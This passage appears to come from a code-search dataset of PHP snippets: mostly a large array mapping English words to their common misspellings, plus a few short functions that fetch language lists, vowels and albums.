l',\r\n\t\t\t\t],\r\n\t\t\t\t'extranuclear'=>[\r\n\t\t\t\t\t'extranucleer',\r\n\t\t\t\t\t'extranucler',\r\n\t\t\t\t],\r\n\t\t\t\t'extraordinaire'=>[\r\n\t\t\t\t\t'extraordiniire',\r\n\t\t\t\t],\r\n\t\t\t\t'extraordinarily'=>[\r\n\t\t\t\t\t'extrordinarily',\r\n\t\t\t\t\t'extraordinirily',\r\n\t\t\t\t],\r\n\t\t\t\t'extraordinary'=>[\r\n\t\t\t\t\t'extrordinary',\r\n\t\t\t\t\t'extraordinery',\r\n\t\t\t\t\t'extraordiniry',\r\n\t\t\t\t],\r\n\t\t\t\t'extraterrestrial'=>[\r\n\t\t\t\t\t'extraterestrial',\r\n\t\t\t\t\t'extraterrestial',\r\n\t\t\t\t],\r\n\t\t\t\t'extraterrestrials'=>[\r\n\t\t\t\t\t'extraterrestials',\r\n\t\t\t\t],\r\n\t\t\t\t'extrauterine'=>[\r\n\t\t\t\t\t'extrauterini',\r\n\t\t\t\t],\r\n\t\t\t\t'extravagance'=>[\r\n\t\t\t\t\t'extravagence',\r\n\t\t\t\t],\r\n\t\t\t\t'extravagancies'=>[\r\n\t\t\t\t\t'extravaganceis',\r\n\t\t\t\t\t'extravagancis',\r\n\t\t\t\t],\r\n\t\t\t\t'extravagancy'=>[\r\n\t\t\t\t\t'extravagansy',\r\n\t\t\t\t],\r\n\t\t\t\t'extravagant'=>[\r\n\t\t\t\t\t'extravagent',\r\n\t\t\t\t],\r\n\t\t\t\t'extravagantly'=>[\r\n\t\t\t\t\t'extravagantally',\r\n\t\t\t\t\t'extravagantaly',\r\n\t\t\t\t\t'extravagantely',\r\n\t\t\t\t\t'extravagantlly',\r\n\t\t\t\t],\r\n\t\t\t\t'extravascular'=>[\r\n\t\t\t\t\t'extravacsular',\r\n\t\t\t\t\t'extravacular',\r\n\t\t\t\t\t'extravasculer',\r\n\t\t\t\t\t'extravasular',\r\n\t\t\t\t],\r\n\t\t\t\t'extravehicular'=>[\r\n\t\t\t\t\t'extravehiculer',\r\n\t\t\t\t],\r\n\t\t\t\t'extreme'=>[\r\n\t\t\t\t\t'extreem',\r\n\t\t\t\t],\r\n\t\t\t\t'extremely'=>[\r\n\t\t\t\t\t'extemely',\r\n\t\t\t\t\t'extermely',\r\n\t\t\t\t\t'extreamly',\r\n\t\t\t\t\t'extremley',\r\n\t\t\t\t\t'extremly',\r\n\t\t\t\t],\r\n\t\t\t\t'extremophile'=>[\r\n\t\t\t\t\t'extremeophile',\r\n\t\t\t\t],\r\n\t\t\t\t'extrusion'=>[\r\n\t\t\t\t\t'extruison',\r\n\t\t\t\t],\r\n\t\t\t\t'extrusions'=>[\r\n\t\t\t\t\t'extruisons',\r\n\t\t\t\t],\r\n\t\t\t\t'extrusive'=>[\r\n\t\t\t\t\t'extruisve',\r\n\t\t\t\t],\r\n\t\t\t\t'exuberance'=>[\r\n\t\t\t\t\t'exhuberance',\r\n\t\t\t\t\t'exuberence',\r\n\t\t\t\t],\r\n\t\t\t\t'exuberant'=>[\r\n\t\t\t\t\t'exhuberant',\r\n\t\t\t\t\t'exuberent',\r\n\t\t\t\t],\r\n\t\t\t\t'exultance'=>[\r\n\t\t\t\t\t'exultence',\r\n\t\t\t\t],\r\n\t\t\t\t'exultancy'=>[\r\n\t\t\t\t\t'exultansy',\r\n\t\t\t\t],\r\n\t\t\t\t'exultant'=>[\r\n\t\t\t\t\t'exultent',\r\n\t\t\t\t],\r\n\t\t\t\t'eyass'=>[\r\n\t\t\t\t\t'eyas',\r\n\t\t\t\t],\r\n\t\t\t\t'eye'=>[\r\n\t\t\t\t\t'eye eye',\r\n\t\t\t\t\t'eye eye eye',\r\n\t\t\t\t],\r\n\t\t\t\t'eyeable'=>[\r\n\t\t\t\t\t'eyeible',\r\n\t\t\t\t],\r\n\t\t\t\t'eyeball'=>[\r\n\t\t\t\t\t'eyebal',\r\n\t\t\t\t],\r\n\t\t\t\t'eyebar'=>[\r\n\t\t\t\t\t'eyeber',\r\n\t\t\t\t],\r\n\t\t\t\t'eyedropper'=>[\r\n\t\t\t\t\t'eyedroper',\r\n\t\t\t\t],\r\n\t\t\t\t'eyedroppers'=>[\r\n\t\t\t\t\t'eyedropers',\r\n\t\t\t\t],\r\n\t\t\t\t'eyeliner'=>[\r\n\t\t\t\t\t'eyelinir',\r\n\t\t\t\t],\r\n\t\t\t\t'eyepiece'=>[\r\n\t\t\t\t\t'eyepeice',\r\n\t\t\t\t\t'eyepice',\r\n\t\t\t\t],\r\n\t\t\t\t'eyewear'=>[\r\n\t\t\t\t\t'eyeweer',\r\n\t\t\t\t\t'eyewer',\r\n\t\t\t\t],\r\n\t\t\t\t'eyewitness'=>[\r\n\t\t\t\t\t'eyewitnes',\r\n\t\t\t\t],\r\n\t\t\t\t'eyrie'=>[\r\n\t\t\t\t\t'eyrei',\r\n\t\t\t\t\t'eyri',\r\n\t\t\t\t],\r\n\t\t\t\t'ezekiel'=>[\r\n\t\t\t\t\t'ezekeil',\r\n\t\t\t\t],\r\n\t\t\t\t'èze'=>[\r\n\t\t\t\t\t'eze',\r\n\t\t\t\t],\r\n\t\t\t\t'éamonn o\\'doherty'=>[\r\n\t\t\t\t\t'eamonn o\\'doherty',\r\n\t\t\t\t],\r\n\t\t\t\t'échantillon'=>[\r\n\t\t\t\t\t'chantillon',\r\n\t\t\t\t],\r\n\t\t\t\t'école alsacienne'=>[\r\n\t\t\t\t\t'ecole alsacienne',\r\n\t\t\t\t],\r\n\t\t\t\t'écrits'=>[\r\n\t\t\t\t\t'ecrits',\r\n\t\t\t\t],\r\n\t\t\t\t'émigrés'=>[\r\n\t\t\t\t\t'emigres',\r\n\t\t\t\t],\r\n\t\t\t\t'être'=>[\r\n\t\t\t\t\t'etre',\r\n\t\t\t\t],\r\n\t\t\t];\r\n\t\t}", "title": "" }, { "docid": "455795621005691641e89566c94251db", "score": "0.55472517", "text": "public function retornaCategoriasLinguasAtivas()\n\t{\n\t\t// instanciando controladores\n\t\t$categoriaOPController = Basico_OPController_CategoriaOPController::getInstance();\n\n\t\t// retornando resultado da chamada ao metodo \"retornaCategoriasLinguasAtivas\" do controlador \"CategoriaOPController\"\n\t\treturn $categoriaOPController->retornaCategoriasLinguasAtivas();\n\t}", "title": "" }, { "docid": "236bd70413bf47b0831c911a085c38c1", "score": "0.5539587", "text": "private function getAllLangs()\r\n {\r\n $arr = array();\r\n $this->load->model('Languages_model');\r\n $langs = $this->Languages_model->getLanguages();\r\n foreach ($langs as $lang) {\r\n $arr[$lang->abbr]['name'] = $lang->name;\r\n $arr[$lang->abbr]['flag'] = $lang->flag;\r\n }\r\n return $arr;\r\n }", "title": "" }, { "docid": "b0e533eda6ecf3ffcceb31ed6cc45706", "score": "0.55148476", "text": "public function getAllVowels(){\n\t\t$data = $this->_getLocaleData();\n\t\t$path = '/ldml/linguistics/vowels/vowel';\n\t\t$vowels = $data->queryLanguage($this->getLanguage(), $path);\n\t\t$arrayVowels = array();\n\t\tforeach($vowels as $vowel){\n\t\t\t$arrayVowels[] = $vowel->nodeValue;\n\t\t\tunset($vowel);\n\t\t}\n\t\treturn $arrayVowels;\n\t}", "title": "" }, { "docid": "098f9c5f44b95ff6dd945673f1f17cb8", "score": "0.5488721", "text": "public function getAlbumsByLang()\n {\n $langId = inputPost('lang_id');\n if (!empty($langId)) {\n $albums = $this->galleryModel->getAlbumsByLang($langId);\n if (!empty($albums)) {\n foreach ($albums as $item) {\n echo '<option value=\"' . $item->id . '\">' . esc($item->name) . '</option>';\n }\n }\n }\n }", "title": "" }, { "docid": "b262d9b2eda7c23bd212bab99020bbab", "score": "0.542868", "text": "public function EnglishMisspellingsWords() {\r\n\t\t\treturn [\r\n\t\t\t\t'nagged'=>[\r\n\t\t\t\t\t'naged',\r\n\t\t\t\t],\r\n\t\t\t\t'nagger'=>[\r\n\t\t\t\t\t'nager',\r\n\t\t\t\t],\r\n\t\t\t\t'naggers'=>[\r\n\t\t\t\t\t'nagers',\r\n\t\t\t\t],\r\n\t\t\t\t'naggier'=>[\r\n\t\t\t\t\t'nagier',\r\n\t\t\t\t],\r\n\t\t\t\t'nagging'=>[\r\n\t\t\t\t\t'naging',\r\n\t\t\t\t],\r\n\t\t\t\t'naggy'=>[\r\n\t\t\t\t\t'nagy',\r\n\t\t\t\t],\r\n\t\t\t\t'naissance'=>[\r\n\t\t\t\t\t'naissence',\r\n\t\t\t\t],\r\n\t\t\t\t'naively'=>[\r\n\t\t\t\t\t'naivly',\r\n\t\t\t\t],\r\n\t\t\t\t'naivety'=>[\r\n\t\t\t\t\t'naivity',\r\n\t\t\t\t],\r\n\t\t\t\t'namable'=>[\r\n\t\t\t\t\t'namible',\r\n\t\t\t\t],\r\n\t\t\t\t'name'=>[\r\n\t\t\t\t\t'name name',\r\n\t\t\t\t\t'name name name',\r\n\t\t\t\t],\r\n\t\t\t\t'nameless'=>[\r\n\t\t\t\t\t'nameles',\r\n\t\t\t\t],\r\n\t\t\t\t'namely'=>[\r\n\t\t\t\t\t'nameally',\r\n\t\t\t\t\t'namealy',\r\n\t\t\t\t\t'nameely',\r\n\t\t\t\t\t'namelly',\r\n\t\t\t\t\t'namly',\r\n\t\t\t\t],\r\n\t\t\t\t'namibia'=>[\r\n\t\t\t\t\t'nambia',\r\n\t\t\t\t],\r\n\t\t\t\t'namibian-occupied'=>[\r\n\t\t\t\t\t'namibian occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'nance'=>[\r\n\t\t\t\t\t'nence',\r\n\t\t\t\t],\r\n\t\t\t\t'nancy'=>[\r\n\t\t\t\t\t'nansy',\r\n\t\t\t\t],\r\n\t\t\t\t'nandina'=>[\r\n\t\t\t\t\t'nandini',\r\n\t\t\t\t],\r\n\t\t\t\t'nannoplankton'=>[\r\n\t\t\t\t\t'nanoplankton',\r\n\t\t\t\t],\r\n\t\t\t\t'nannoplanktons'=>[\r\n\t\t\t\t\t'nanoplanktons',\r\n\t\t\t\t],\r\n\t\t\t\t'nanny'=>[\r\n\t\t\t\t\t'nany',\r\n\t\t\t\t],\r\n\t\t\t\t'nanoscale'=>[\r\n\t\t\t\t\t'nanocale',\r\n\t\t\t\t\t'nanocsale',\r\n\t\t\t\t\t'nanosale',\r\n\t\t\t\t],\r\n\t\t\t\t'naphthylamines'=>[\r\n\t\t\t\t\t'naphthylaminis',\r\n\t\t\t\t],\r\n\t\t\t\t'napoleonic'=>[\r\n\t\t\t\t\t'napoleonian',\r\n\t\t\t\t],\r\n\t\t\t\t'nappa'=>[\r\n\t\t\t\t\t'napa',\r\n\t\t\t\t],\r\n\t\t\t\t'nappe'=>[\r\n\t\t\t\t\t'nape',\r\n\t\t\t\t],\r\n\t\t\t\t'nappy'=>[\r\n\t\t\t\t\t'napy',\r\n\t\t\t\t],\r\n\t\t\t\t'narceine'=>[\r\n\t\t\t\t\t'narciene',\r\n\t\t\t\t],\r\n\t\t\t\t'narcissism'=>[\r\n\t\t\t\t\t'narcisism',\r\n\t\t\t\t],\r\n\t\t\t\t'narcolepsy'=>[\r\n\t\t\t\t\t'narcolepcy',\r\n\t\t\t\t],\r\n\t\t\t\t'narrate'=>[\r\n\t\t\t\t\t'narate',\r\n\t\t\t\t],\r\n\t\t\t\t'narration'=>[\r\n\t\t\t\t\t'naration',\r\n\t\t\t\t],\r\n\t\t\t\t'narrative'=>[\r\n\t\t\t\t\t'narative',\r\n\t\t\t\t],\r\n\t\t\t\t'narratological'=>[\r\n\t\t\t\t\t'naratological',\r\n\t\t\t\t],\r\n\t\t\t\t'narratologists'=>[\r\n\t\t\t\t\t'naratologists',\r\n\t\t\t\t],\r\n\t\t\t\t'narratology'=>[\r\n\t\t\t\t\t'naratology',\r\n\t\t\t\t],\r\n\t\t\t\t'narrow'=>[\r\n\t\t\t\t\t'narow',\r\n\t\t\t\t],\r\n\t\t\t\t'narrow-minded'=>[\r\n\t\t\t\t\t'narrowminded',\r\n\t\t\t\t],\r\n\t\t\t\t'narrowband'=>[\r\n\t\t\t\t\t'narowband',\r\n\t\t\t\t],\r\n\t\t\t\t'narrowcastings'=>[\r\n\t\t\t\t\t'narowcastings',\r\n\t\t\t\t],\r\n\t\t\t\t'narrowly'=>[\r\n\t\t\t\t\t'narrowally',\r\n\t\t\t\t\t'narrowaly',\r\n\t\t\t\t\t'narrowely',\r\n\t\t\t\t\t'narrowlly',\r\n\t\t\t\t],\r\n\t\t\t\t'narrownesses'=>[\r\n\t\t\t\t\t'narownesses',\r\n\t\t\t\t],\r\n\t\t\t\t'nary'=>[\r\n\t\t\t\t\t'nery',\r\n\t\t\t\t],\r\n\t\t\t\t'nasalization'=>[\r\n\t\t\t\t\t'ansalization',\r\n\t\t\t\t],\r\n\t\t\t\t'nascence'=>[\r\n\t\t\t\t\t'nacence',\r\n\t\t\t\t\t'nacsence',\r\n\t\t\t\t\t'nascance',\r\n\t\t\t\t\t'nasence',\r\n\t\t\t\t],\r\n\t\t\t\t'nascency'=>[\r\n\t\t\t\t\t'nascensy',\r\n\t\t\t\t],\r\n\t\t\t\t'nascent'=>[\r\n\t\t\t\t\t'nacent',\r\n\t\t\t\t\t'nacsent',\r\n\t\t\t\t\t'nascant',\r\n\t\t\t\t\t'nascient',\r\n\t\t\t\t\t'nasent',\r\n\t\t\t\t],\r\n\t\t\t\t'natant'=>[\r\n\t\t\t\t\t'natent',\r\n\t\t\t\t],\r\n\t\t\t\t'nation'=>[\r\n\t\t\t\t\t'nation nation',\r\n\t\t\t\t\t'nation nation nation',\r\n\t\t\t\t],\r\n\t\t\t\t'nation\\'s'=>[\r\n\t\t\t\t\t'nation\\'',\r\n\t\t\t\t],\r\n\t\t\t\t'national'=>[\r\n\t\t\t\t\t'naitonal',\r\n\t\t\t\t\t'nalional',\r\n\t\t\t\t\t'nationa',\r\n\t\t\t\t\t'nationl',\r\n\t\t\t\t\t'nationnal',\r\n\t\t\t\t\t'natioual',\r\n\t\t\t\t],\r\n\t\t\t\t'nationalities'=>[\r\n\t\t\t\t\t'nationalites',\r\n\t\t\t\t],\r\n\t\t\t\t'nationality'=>[\r\n\t\t\t\t\t'nationalty',\r\n\t\t\t\t],\r\n\t\t\t\t'nationalizatino'=>[\r\n\t\t\t\t\t'na- tionalization',\r\n\t\t\t\t\t'na-tionalization',\r\n\t\t\t\t],\r\n\t\t\t\t'nationalization'=>[\r\n\t\t\t\t\t'nationlization',\r\n\t\t\t\t],\r\n\t\t\t\t'nationally'=>[\r\n\t\t\t\t\t'nationaly',\r\n\t\t\t\t],\r\n\t\t\t\t'nationwide'=>[\r\n\t\t\t\t\t'naitonwide',\r\n\t\t\t\t\t'nationnwide',\r\n\t\t\t\t],\r\n\t\t\t\t'natively'=>[\r\n\t\t\t\t\t'nativly',\r\n\t\t\t\t],\r\n\t\t\t\t'natural'=>[\r\n\t\t\t\t\t'natrual',\r\n\t\t\t\t\t'natual',\r\n\t\t\t\t\t'natural natural',\r\n\t\t\t\t\t'natural natural natural',\r\n\t\t\t\t\t'naturual',\r\n\t\t\t\t],\r\n\t\t\t\t'naturally'=>[\r\n\t\t\t\t\t'natuarlly',\r\n\t\t\t\t\t'naturalally',\r\n\t\t\t\t\t'naturalaly',\r\n\t\t\t\t\t'naturalely',\r\n\t\t\t\t\t'naturallly',\r\n\t\t\t\t\t'naturaly',\r\n\t\t\t\t\t'naturely',\r\n\t\t\t\t\t'naturually',\r\n\t\t\t\t],\r\n\t\t\t\t'nature'=>[\r\n\t\t\t\t\t'nature nature',\r\n\t\t\t\t\t'nature nature nature',\r\n\t\t\t\t],\r\n\t\t\t\t'naugahyde'=>[\r\n\t\t\t\t\t'naugayde',\r\n\t\t\t\t],\r\n\t\t\t\t'naugahydes'=>[\r\n\t\t\t\t\t'naugaydes',\r\n\t\t\t\t],\r\n\t\t\t\t'nauruan-occupied'=>[\r\n\t\t\t\t\t'nauruan occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'nausea'=>[\r\n\t\t\t\t\t'nause',\r\n\t\t\t\t],\r\n\t\t\t\t'nauseating'=>[\r\n\t\t\t\t\t'nauseting',\r\n\t\t\t\t],\r\n\t\t\t\t'navar'=>[\r\n\t\t\t\t\t'naver',\r\n\t\t\t\t],\r\n\t\t\t\t'navicular'=>[\r\n\t\t\t\t\t'naviculer',\r\n\t\t\t\t],\r\n\t\t\t\t'navigable'=>[\r\n\t\t\t\t\t'navigible',\r\n\t\t\t\t],\r\n\t\t\t\t'navigation'=>[\r\n\t\t\t\t\t'navagation',\r\n\t\t\t\t\t'naviagation',\r\n\t\t\t\t],\r\n\t\t\t\t'navigationally'=>[\r\n\t\t\t\t\t'navigationalally',\r\n\t\t\t\t\t'navigationalaly',\r\n\t\t\t\t\t'navigationalely',\r\n\t\t\t\t\t'navigationallly',\r\n\t\t\t\t],\r\n\t\t\t\t'nazareth'=>[\r\n\t\t\t\t\t'nazereth',\r\n\t\t\t\t],\r\n\t\t\t\t'neap'=>[\r\n\t\t\t\t\t'nep',\r\n\t\t\t\t],\r\n\t\t\t\t'near'=>[\r\n\t\t\t\t\t'near near',\r\n\t\t\t\t\t'near near near',\r\n\t\t\t\t\t'neer',\r\n\t\t\t\t\t'ner',\r\n\t\t\t\t],\r\n\t\t\t\t'nearby'=>[\r\n\t\t\t\t\t'near by',\r\n\t\t\t\t\t'nearbye',\r\n\t\t\t\t\t'nerby',\r\n\t\t\t\t],\r\n\t\t\t\t'nearly'=>[\r\n\t\t\t\t\t'mearly',\r\n\t\t\t\t\t'nealry',\r\n\t\t\t\t\t'nearally',\r\n\t\t\t\t\t'nearaly',\r\n\t\t\t\t\t'nearely',\r\n\t\t\t\t\t'nearlly',\r\n\t\t\t\t\t'nenrly',\r\n\t\t\t\t\t'nerly',\r\n\t\t\t\t],\r\n\t\t\t\t'nearsighted'=>[\r\n\t\t\t\t\t'nersighted',\r\n\t\t\t\t],\r\n\t\t\t\t'nearsightedness'=>[\r\n\t\t\t\t\t'nersightedness',\r\n\t\t\t\t],\r\n\t\t\t\t'neat'=>[\r\n\t\t\t\t\t'net',\r\n\t\t\t\t],\r\n\t\t\t\t'neatened'=>[\r\n\t\t\t\t\t'neatend',\r\n\t\t\t\t],\r\n\t\t\t\t'neath'=>[\r\n\t\t\t\t\t'neth',\r\n\t\t\t\t],\r\n\t\t\t\t'nebbish'=>[\r\n\t\t\t\t\t'nebish',\r\n\t\t\t\t],\r\n\t\t\t\t'nebraska'=>[\r\n\t\t\t\t\t'nebaska',\r\n\t\t\t\t],\r\n\t\t\t\t'nebuly'=>[\r\n\t\t\t\t\t'nebually',\r\n\t\t\t\t\t'nebualy',\r\n\t\t\t\t\t'nebuely',\r\n\t\t\t\t\t'nebully',\r\n\t\t\t\t],\r\n\t\t\t\t'necessarily'=>[\r\n\t\t\t\t\t'neccesarily',\r\n\t\t\t\t\t'neccessarily',\r\n\t\t\t\t\t'necesarily',\r\n\t\t\t\t\t'necessarially',\r\n\t\t\t\t\t'necessarialy',\r\n\t\t\t\t\t'necessariely',\r\n\t\t\t\t\t'necessarilly',\r\n\t\t\t\t\t'nessasarily',\r\n\t\t\t\t],\r\n\t\t\t\t'necessary'=>[\r\n\t\t\t\t\t'neccesary',\r\n\t\t\t\t\t'neccessary',\r\n\t\t\t\t\t'necesary',\r\n\t\t\t\t\t'necessary necessary',\r\n\t\t\t\t\t'necessary necessary necessary',\r\n\t\t\t\t\t'necessery',\r\n\t\t\t\t\t'necesssary',\r\n\t\t\t\t\t'nesessary',\r\n\t\t\t\t\t'nesessary', 'nessecary',\r\n\t\t\t\t\t'nessacary',\r\n\t\t\t\t\t'nessecary',\r\n\t\t\t\t],\r\n\t\t\t\t'necessitarian'=>[\r\n\t\t\t\t\t'necessitaran',\r\n\t\t\t\t],\r\n\t\t\t\t'necessitate'=>[\r\n\t\t\t\t\t'necesitate',\r\n\t\t\t\t],\r\n\t\t\t\t'necessities'=>[\r\n\t\t\t\t\t'neccesities',\r\n\t\t\t\t\t'necessaties',\r\n\t\t\t\t],\r\n\t\t\t\t'necessitously'=>[\r\n\t\t\t\t\t'necessitousally',\r\n\t\t\t\t\t'necessitousaly',\r\n\t\t\t\t\t'necessitousely',\r\n\t\t\t\t\t'necessitouslly',\r\n\t\t\t\t],\r\n\t\t\t\t'necessity'=>[\r\n\t\t\t\t\t'neccesity',\r\n\t\t\t\t\t'necesity',\r\n\t\t\t\t\t'necessaty',\r\n\t\t\t\t\t'nesessity',\r\n\t\t\t\t],\r\n\t\t\t\t'neck'=>[\r\n\t\t\t\t\t'neck neck',\r\n\t\t\t\t\t'neck neck neck',\r\n\t\t\t\t],\r\n\t\t\t\t'neckerchief'=>[\r\n\t\t\t\t\t'neckercheif',\r\n\t\t\t\t\t'neckerchif',\r\n\t\t\t\t],\r\n\t\t\t\t'neckline'=>[\r\n\t\t\t\t\t'necklini',\r\n\t\t\t\t],\r\n\t\t\t\t'necktie'=>[\r\n\t\t\t\t\t'necktei',\r\n\t\t\t\t\t'neckti',\r\n\t\t\t\t],\r\n\t\t\t\t'neckwear'=>[\r\n\t\t\t\t\t'neckweer',\r\n\t\t\t\t],\r\n\t\t\t\t'necromancy'=>[\r\n\t\t\t\t\t'necromansy',\r\n\t\t\t\t],\r\n\t\t\t\t'necropsy'=>[\r\n\t\t\t\t\t'necropcy',\r\n\t\t\t\t],\r\n\t\t\t\t'nectar'=>[\r\n\t\t\t\t\t'necter',\r\n\t\t\t\t],\r\n\t\t\t\t'nectarine'=>[\r\n\t\t\t\t\t'nectarini',\r\n\t\t\t\t],\r\n\t\t\t\t'nectary'=>[\r\n\t\t\t\t\t'nectery',\r\n\t\t\t\t],\r\n\t\t\t\t'need'=>[\r\n\t\t\t\t\t'ened',\r\n\t\t\t\t\t'need need',\r\n\t\t\t\t\t'need need need',\r\n\t\t\t\t\t'neeed',\r\n\t\t\t\t],\r\n\t\t\t\t'need friends'=>[\r\n\t\t\t\t\t'kneed friends',\r\n\t\t\t\t],\r\n\t\t\t\t'needless'=>[\r\n\t\t\t\t\t'needles',\r\n\t\t\t\t],\r\n\t\t\t\t'needs'=>[\r\n\t\t\t\t\t'need\\'s',\r\n\t\t\t\t],\r\n\t\t\t\t'nefarious'=>[\r\n\t\t\t\t\t'nefarous',\r\n\t\t\t\t],\r\n\t\t\t\t'nefariously'=>[\r\n\t\t\t\t\t'nefariousally',\r\n\t\t\t\t\t'nefariousaly',\r\n\t\t\t\t\t'nefariousely',\r\n\t\t\t\t\t'nefariouslly',\r\n\t\t\t\t\t'nefarously',\r\n\t\t\t\t],\r\n\t\t\t\t'negative'=>[\r\n\t\t\t\t\t'negitive',\r\n\t\t\t\t],\r\n\t\t\t\t'negatively'=>[\r\n\t\t\t\t\t'negativley',\r\n\t\t\t\t\t'negativly',\r\n\t\t\t\t],\r\n\t\t\t\t'negativity'=>[\r\n\t\t\t\t\t'negitivity',\r\n\t\t\t\t],\r\n\t\t\t\t'negligence'=>[\r\n\t\t\t\t\t'negligance',\r\n\t\t\t\t],\r\n\t\t\t\t'negligent'=>[\r\n\t\t\t\t\t'negligant',\r\n\t\t\t\t],\r\n\t\t\t\t'negligible'=>[\r\n\t\t\t\t\t'neglible',\r\n\t\t\t\t\t'negligable',\r\n\t\t\t\t],\r\n\t\t\t\t'negotiable'=>[\r\n\t\t\t\t\t'negotiible',\r\n\t\t\t\t],\r\n\t\t\t\t'negotiate'=>[\r\n\t\t\t\t\t'negociate',\r\n\t\t\t\t],\r\n\t\t\t\t'negotiation'=>[\r\n\t\t\t\t\t'negotation',\r\n\t\t\t\t],\r\n\t\t\t\t'negotiations'=>[\r\n\t\t\t\t\t'negociations',\r\n\t\t\t\t],\r\n\t\t\t\t'negotiator'=>[\r\n\t\t\t\t\t'negotiater',\r\n\t\t\t\t],\r\n\t\t\t\t'neif'=>[\r\n\t\t\t\t\t'nief',\r\n\t\t\t\t],\r\n\t\t\t\t'neifs'=>[\r\n\t\t\t\t\t'niefs',\r\n\t\t\t\t],\r\n\t\t\t\t'neigh'=>[\r\n\t\t\t\t\t'niegh',\r\n\t\t\t\t],\r\n\t\t\t\t'neighbor'=>[\r\n\t\t\t\t\t'neigbor',\r\n\t\t\t\t\t'neigbour',\r\n\t\t\t\t\t'neighboor',\r\n\t\t\t\t\t'neighbor neighbor',\r\n\t\t\t\t\t'neighbor neighbor neighbor',\r\n\t\t\t\t\t'nieghbor',\r\n\t\t\t\t],\r\n\t\t\t\t'neighborhood'=>[\r\n\t\t\t\t\t'neighbohood',\r\n\t\t\t\t\t'neighbourbood',\r\n\t\t\t\t\t'neightbourhood',\r\n\t\t\t\t\t'nieghborhood',\r\n\t\t\t\t],\r\n\t\t\t\t'neighborhoods'=>[\r\n\t\t\t\t\t'nieghborhoods',\r\n\t\t\t\t],\r\n\t\t\t\t'neighboring'=>[\r\n\t\t\t\t\t'neigbouring',\r\n\t\t\t\t],\r\n\t\t\t\t'neighborliness'=>[\r\n\t\t\t\t\t'neighborliniss',\r\n\t\t\t\t\t'nieghborliness',\r\n\t\t\t\t],\r\n\t\t\t\t'neighborly'=>[\r\n\t\t\t\t\t'neighborally',\r\n\t\t\t\t\t'neighboraly',\r\n\t\t\t\t\t'neighborely',\r\n\t\t\t\t\t'neighborlly',\r\n\t\t\t\t\t'nieghborly',\r\n\t\t\t\t],\r\n\t\t\t\t'neighbors'=>[\r\n\t\t\t\t\t'neigbors',\r\n\t\t\t\t\t'neigbours',\r\n\t\t\t\t],\r\n\t\t\t\t'neighbour'=>[\r\n\t\t\t\t\t'nieghbour',\r\n\t\t\t\t],\r\n\t\t\t\t'neist'=>[\r\n\t\t\t\t\t'niest',\r\n\t\t\t\t],\r\n\t\t\t\t'neither'=>[\r\n\t\t\t\t\t'niether',\r\n\t\t\t\t],\r\n\t\t\t\t'nelly'=>[\r\n\t\t\t\t\t'nelally',\r\n\t\t\t\t\t'nelaly',\r\n\t\t\t\t\t'nellly',\r\n\t\t\t\t\t'nely',\r\n\t\t\t\t],\r\n\t\t\t\t'neoclassicism'=>[\r\n\t\t\t\t\t'neoclasicism',\r\n\t\t\t\t],\r\n\t\t\t\t'neomorph'=>[\r\n\t\t\t\t\t'neomourph',\r\n\t\t\t\t],\r\n\t\t\t\t'neostigmine'=>[\r\n\t\t\t\t\t'neostigmini',\r\n\t\t\t\t],\r\n\t\t\t\t'nepalese-occupied'=>[\r\n\t\t\t\t\t'nepalese occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'nephelinic'=>[\r\n\t\t\t\t\t'nephelinac',\r\n\t\t\t\t],\r\n\t\t\t\t'nephelinite'=>[\r\n\t\t\t\t\t'nephelinate',\r\n\t\t\t\t],\r\n\t\t\t\t'nephelinites'=>[\r\n\t\t\t\t\t'nephelinates',\r\n\t\t\t\t],\r\n\t\t\t\t'nephelinitic'=>[\r\n\t\t\t\t\t'nephelinatic',\r\n\t\t\t\t],\r\n\t\t\t\t'nephew'=>[\r\n\t\t\t\t\t'newphew',\r\n\t\t\t\t],\r\n\t\t\t\t'nereis'=>[\r\n\t\t\t\t\t'neries',\r\n\t\t\t\t],\r\n\t\t\t\t'nervelessly'=>[\r\n\t\t\t\t\t'nervelessally',\r\n\t\t\t\t\t'nervelessaly',\r\n\t\t\t\t\t'nervelessely',\r\n\t\t\t\t\t'nervelesslly',\r\n\t\t\t\t],\r\n\t\t\t\t'nescience'=>[\r\n\t\t\t\t\t'nesciance',\r\n\t\t\t\t],\r\n\t\t\t\t'ness'=>[\r\n\t\t\t\t\t'nes',\r\n\t\t\t\t],\r\n\t\t\t\t'netherlands'=>[\r\n\t\t\t\t\t'netherland\\'s',\r\n\t\t\t\t],\r\n\t\t\t\t'nettly'=>[\r\n\t\t\t\t\t'nettally',\r\n\t\t\t\t\t'nettaly',\r\n\t\t\t\t\t'nettely',\r\n\t\t\t\t\t'nettlly',\r\n\t\t\t\t],\r\n\t\t\t\t'network'=>[\r\n\t\t\t\t\t'newtork',\r\n\t\t\t\t],\r\n\t\t\t\t'neuraminidase'=>[\r\n\t\t\t\t\t'neuraminadase',\r\n\t\t\t\t],\r\n\t\t\t\t'neuraminidases'=>[\r\n\t\t\t\t\t'neuraminadases',\r\n\t\t\t\t],\r\n\t\t\t\t'neurilemma'=>[\r\n\t\t\t\t\t'neurilemna',\r\n\t\t\t\t],\r\n\t\t\t\t'neuroendocrine'=>[\r\n\t\t\t\t\t'neuroendocrini',\r\n\t\t\t\t],\r\n\t\t\t\t'neurofibrillary'=>[\r\n\t\t\t\t\t'neurofibrillery',\r\n\t\t\t\t],\r\n\t\t\t\t'neurohumor'=>[\r\n\t\t\t\t\t'neurohumour',\r\n\t\t\t\t],\r\n\t\t\t\t'neurohumoral'=>[\r\n\t\t\t\t\t'neurohumoural',\r\n\t\t\t\t],\r\n\t\t\t\t'neurohumors'=>[\r\n\t\t\t\t\t'neurohumours',\r\n\t\t\t\t],\r\n\t\t\t\t'neurological'=>[\r\n\t\t\t\t\t'nuerological',\r\n\t\t\t\t],\r\n\t\t\t\t'neuromuscular'=>[\r\n\t\t\t\t\t'neuromucsular',\r\n\t\t\t\t\t'neuromucular',\r\n\t\t\t\t\t'neuromusculer',\r\n\t\t\t\t\t'neuromusular',\r\n\t\t\t\t],\r\n\t\t\t\t'neuroscience'=>[\r\n\t\t\t\t\t'neurocience',\r\n\t\t\t\t\t'neurocsience',\r\n\t\t\t\t\t'neurosceince',\r\n\t\t\t\t\t'neurosciance',\r\n\t\t\t\t\t'neuroscince',\r\n\t\t\t\t\t'neurosience',\r\n\t\t\t\t],\r\n\t\t\t\t'neuroscientific'=>[\r\n\t\t\t\t\t'neurocientific',\r\n\t\t\t\t\t'neurocsientific',\r\n\t\t\t\t\t